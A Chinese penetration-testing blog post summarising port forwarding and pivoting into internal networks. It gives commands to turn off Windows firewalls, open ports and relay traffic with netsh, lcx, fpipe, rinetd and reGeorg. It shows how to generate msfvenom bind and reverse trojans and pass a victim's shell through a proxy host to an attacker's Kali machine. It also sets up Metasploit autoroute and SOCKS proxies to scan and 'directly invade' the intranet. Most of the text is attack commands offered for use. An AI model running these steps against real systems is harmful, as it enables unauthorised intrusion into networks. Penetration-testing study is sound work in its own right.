渗透测试

内网端口转发总结

Posted on 2020-01-02,6 min read

Windows

1.netsh是一个windows自带的网络管理工具,用于管理windows防火墙以及各类网络配置,
2003前

netsh firewall show state
#查看防火墙状态
netsh firewall set opmode disable
#关闭防火墙
netsh firewall set opmode enable
#启用防火墙

2003后

netsh advfirewall show allprofiles
#查看防火墙状态
netsh advfirewall set allprofiles state off
#关闭防火墙
netsh advfirewall set allprofiles state on
#开启防火墙
netsh advfirewall reset
#重置防火墙规则

添加防火墙规则

netsh advfirewall firewall add rule name="test" dir=in action=allow protocol=TCP localport=53
#允许外部连接本地TCP53端口
netsh advfirewall firewall delete rule name="test" dir=in protocol=TCP localport=53
#删除规则
netsh firewall add portopening TCP 53 "test"
#打开53端口
netsh firewall delete portopening TCP 53 "test"
#关闭53端口
netsh advfirewall firewall add rule name="test" dir=out action=allow protocol=TCP localport=53
#允许本地53端口出去
netsh firewall add allowedprogram c:\nc.exe "test" enable
#允许改进程所有连接
netsh advfirewall firewall add rule name="test" dir=in action=allow program="c:\nx.exe"
#允许本地nc.exe入站

通过netsh端口转发

netsh advfirewall firewall add rule name="ssh" dir=in action=allow protocol=TCP localport=8080
#允许外部8080端口连入
netsh interface portproxy add v4tov4 listenport=8080 connectaddress=192.168.0.110 connectport=22
#将192.168.0.110的22端口。转发到本地8080端口
netsh interface portproxy show all
#查看转发规则

生成正向反向木马

msfvenom -p xxxx LHOST=内网受害者IP LPORT=1234
#生成木马,IP要是受害者IP
netsh interface portproxy add v4tov4 listenport=1234 connectaddress=受害者IP connectport=1234
#将木马的绑定端口。转发到本地1234。msf连接本地1234端口=连接受害者1234端口
set RHOSTS=受害者IP
set LHOST=本机IP
#bind_tcp连接
msfvenom -p xxx LHOST=中间代理机IP LPORT=1234
#生成木马,IP为代理机IP
netsh interface portproxy add v4tov4 listenport=1234 connectaddress=攻击机kali connectport=1234
#因为是反向连接,内网受害者IP->代理机->kali,在中间代理转发,将shell转发到kali上
#与正向连接不同的是,正向kali通过代理去访问受害者。反向是受害者访问代理。代理转发shell给kali
set RHOSTS=本机IP
set LHOSTS=1234
#reverse_tcp连接

2.lcx

lcx -tran 53 192.168.0.110 22
#将本地53端口转发给192.168.0.110的22端口
#ssh root@代理机IP -p 53==ssh root@192.168.0.110 -p 22
lcx -slave 代理IP 53 内网受害者IP 3389
lcx -listen 53 1080
#将受害者IP的3389转发给代理机的53端口
#将本地53端口的流量转发给1080端口
对于正向和反向shell,差不多。同样是转发端口。连接就行了,理清思路,谁转发给谁,谁接收

3.fpipe

fpipe.exe -l 8080 -i 0.0.0.0 -s 8080 -r 3389 内网受害者IP
将本地8080端口。重定向到内网受害者的3389端口,大同小异。只不过工具不一样。思路都是一样的

Linux:
1.rinetd

git clone https://github.com/boutell/rinetd.git
cd rinted
mkdir -p /usr/man/man8
make &&make install
#安装结束
vim rinetd.conf
0.0.0.0 1080 192.168.0.110 22
0.0.0.0 1081 192.168.0.120 1234
allow *.*.*.*
#创建配置文件,本地监听1080端口。转发110的22端口。1081转发120的1234端口
rinetd -c rinetd.conf
#启动服务

2.portmap

这里有一个-m参数这个参数的解释:以哪种方式来用这个工具,然后下面有三个方式
./lcx -m 1 -p1 1234 -h2 受害者IP -p2 3389
1.监听port1 端口并且连接主机2的port2 端口
#连接本地1234端口。转发到受害者的3389端口
./lcx -m 2 -p1 1080 -p2 1235
2.监听port1和port2 端口。
#将本地的1080端口转发到1235端口
./lcx -m 3 -h1 代理IP -p1 1080 -h2 受害者IP -p2 2289
3.连接主机1对应的端口和主机2对应的端口
#代理IP的1080端口转发到受害者IP的2289端口

3.reGeorg

git clone https://github.com/sensepost/reGeorg.git
#将对应的文件放到代理机器上,比如代理机php的,就放php的文件
python reGeorgSocksProxy.py -p 2333 -u http://代理IP/tunnel.php
#本地转发2333端口
写入proxychains
socks5 127.0.0.1 2333

msf内网通信:

portfwd add -l 3389 -p 3389 -r 受害者IP
将本地的3389端口转发到受害者的3389
listen 1234 受害者IP:端口
同上
run autoroute -s 7.7.7.0/24
自动添加一条7.7.7.0网段的路由
use auxiliary/server/socks4a
run
vim /etc/proxychains.conf
最后添加一行socks4a配置的ip和端口,如下
socks4 127.0.0.1 1080
proxychains nmap -sT -Pn xxxx
通过这个代理工具就能直接入侵内网了

下一篇: Apache Solr Velocity模板注入RCE漏洞复现→